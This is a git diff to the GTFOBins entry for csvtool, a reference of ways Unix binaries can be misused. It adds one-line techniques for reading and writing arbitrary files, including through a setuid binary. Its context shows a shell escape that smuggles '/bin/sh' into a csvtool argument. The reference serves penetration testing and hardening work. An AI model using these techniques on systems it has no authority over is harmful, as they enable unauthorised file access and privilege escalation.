diff --git a/_gtfobins/csvtool.md b/_gtfobins/csvtool.md index 890a171..a2e1c8e 100644 --- a/_gtfobins/csvtool.md +++ b/_gtfobins/csvtool.md @@ -1,5 +1,21 @@ --- functions: + file-read: + - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. + code: | + LFILE=file_to_read + csvtool trim t $LFILE + file-write: + - description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. + code: | + LFILE=file_to_write + TF=$(mktemp) + echo DATA > $TF + csvtool trim t $TF -o $LFILE + suid: + - code: | + LFILE=file_to_read + ./csvtool trim t $LFILE shell: - code: csvtool call '/bin/sh;false' /etc/passwd sudo: